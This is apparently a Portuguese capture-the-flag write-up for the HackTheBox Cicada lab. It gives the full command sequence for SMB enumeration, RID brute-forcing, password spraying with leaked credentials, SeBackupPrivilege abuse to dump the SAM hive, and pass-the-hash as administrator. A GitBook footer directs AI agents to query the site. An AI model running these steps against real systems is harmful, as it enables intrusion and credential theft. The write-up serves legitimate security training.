> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md). # Relato do HackTheBox Cicada {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeração SMB (RID-Brute) * Vazamento de informações (Descrição do usuário) (netexec) * Escalonamento de privilégios (SeBackupPrivilege) * Extração do SAM (pypykatz) * Pass-the-Hash (EvilWinRM) {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

**Descoberta de portas abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.35 -oG allPorts ```

**Análise de portas abertas com extractPorts:** Usando a função extractPorts para exibir de forma concisa as portas abertas e copiá-las para a área de transferência (53.88,135,139.389,445,464,593,636,3268,3269,5985,5169)

Varredura de versão de portas com Nmap: Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,55169 10.10.11.35 -oN targeted ```

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo:

### Porta 445 - SMB **Listagem SMB com smbmap** Para listar recursos compartilhados com uma sessão nula: ```bash smbmap -H 10.10.11.35 -u 'null' ```

O **HR** a pasta contém um arquivo de texto interessante. Exploramos seu conteúdo: ```bash smbmap -H 10.10.11.35 -u 'null' -r HR ```

**Baixar arquivo** Acessamos o compartilhamento e baixamos o arquivo: ```bash smbclient //10.10.11.35/HR -N get "Notice from HR.txt" ```

O arquivo contém uma senha * senha: `Cicada$M6Corpb*@Lp#nZp!8`

## Lista de RID-Brute #### Para identificar os usuários do domínio, lançamos um ataque RID-Brute: ```bash crackmapexec smb 10.10.11.35 -u 'Guest' -p "" --rid-brute ``` > O `--rid-brute` parâmetro é usado para realizar um /*/* ataque de força bruta/*/* no **RID (Identificadores Relacionados)** usuários em um domínio do Windows. Um RID faz parte do identificador exclusivo de um usuário em um sistema Windows e geralmente é usado para identificar contas de usuário e grupos

Aqui está a lista de usuários encontrados: ``` Administrator Guest krbtgt CICADA-DC$ john.smoulder sarah.dantelia michael.wrightson david.orelious emily.oscars ``` #### Validação de usuários Testamos a senha encontrada para todos os usuários: ```bash crackmapexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' ``` O usuário **michael.wrightson** usa essa senha.

### Usuário Michael: ### Enumeração com netexec Usamos **michael.wrightson** credenciais para explorar mais: ```bash netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users ```

Isso revela a senha em texto claro do usuário **david.orelious**: * nome de usuário: `david.orelious` * senha: `aRt$Lp#7t*VQ!3` /*/Validação e enumeração SMB com as credenciais em //* **david.orelious** ### Pivotando para o usuário David Validamos as credenciais de david.orelious com CrackMapExec: ```bash crackmapexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' ```

Em seguida, exploramos os compartilhamentos SMB acessíveis no alvo com smbmap: ```bash smbmap -H 10.10.11.35 -u david.orelious ```

Depois, nos conectamos ao compartilhamento DEV com smbclient: ```bash smbclient //10.10.11.35/DEV -U david.orelious ``` Neste compartilhamento encontramos um script chamado backup/ script.ps1.

### Pivotando para a usuária Emily Baixamos o script backup/ script.ps1 com o comando get e descobrimos o ID de usuário emily.oscars * nome de usuário: emily.oscars * senha: Q!3\@Lp#M6b/\*7t/\*Vt

Validamos essas credenciais com CrackMapExec: ```bash crackmapexec smb 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' ``` Em seguida, nos conectamos à máquina com Evil-WinRM: ```bash evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' ```

### Flag user.txt Recuperamos a flag do arquivo user.txt.

## Escalada de privilégios ### whoami /priv - SeBackupPrivilege {% embed url="" %} **Verificação de privilégios** Para começar, vamos verificar os privilégios do usuário atual. Execute o seguinte comando para verificar se o usuário tem o `SeBackupPrivilege` privilégio: ```bash whoami /priv ```

**Baixe os arquivos DLL necessários** Para abusar desses privilégios, baixe os arquivos DLL para a máquina vítima. Eles estão disponíveis [aqui](https://github.com/giuliano108/SeBackupPrivilege). 1. **SeBackupPrivilegeCmdLets.dll** {% embed url="" %} 2. **SeBackupPrivilegeUtils.dll** {% embed url="" %} Baixe esses arquivos para a máquina da vítima usando os seguintes comandos ```powershell upload SeBackupPrivilegeCmdLets.dll upload SeBackupPrivilegeUtils.dll ```

**Carregando módulos DLL** Depois que os arquivos DLL forem baixados, carregue-os na sessão do PowerShell usando os seguintes comandos: ```powershell Import-Module ./SeBackupPrivilegeCmdLets.dll Import-Module ./SeBackupPrivilegeUtils.dll ``` **Faça backup dos arquivos SAM e SYSTEM** Agora vamos salvar os `SAM` e `SYSTEM` arquivos que contêm as informações de identificação dos usuários. Use os seguintes comandos para salvá-los: ```powershell reg save hklm/sam sam reg save hklm/system system ```

**Baixe os arquivos SAM e SYSTEM** Depois de salvar os arquivos, você pode baixá-los para sua máquina virtual (VM) para analisá-los: ```powershell download sam download system ```

### **Extraindo hashes do arquivo SAM** Use `samdump2` para extrair hashes de `SAM` e `SYSTEM` arquivos: ```bash samdump2 system sam ```

Se este comando não funcionar, você pode tentar `pypykatz` para extrair os hashes diretamente: ```bash pypykatz registry system --sam sam ```

Isso deve fornecer um hash válido, por exemplo: * hash: `2b87e7c93a3e8a0ea4a581937016f341` ### **Pass-the-Hash com Evil-WinRM** Agora que você tem o hash, pode usá-lo para realizar um "Pass-the-Hash" e se conectar à máquina alvo usando `evil-winrm`: ```bash evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341 ```

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.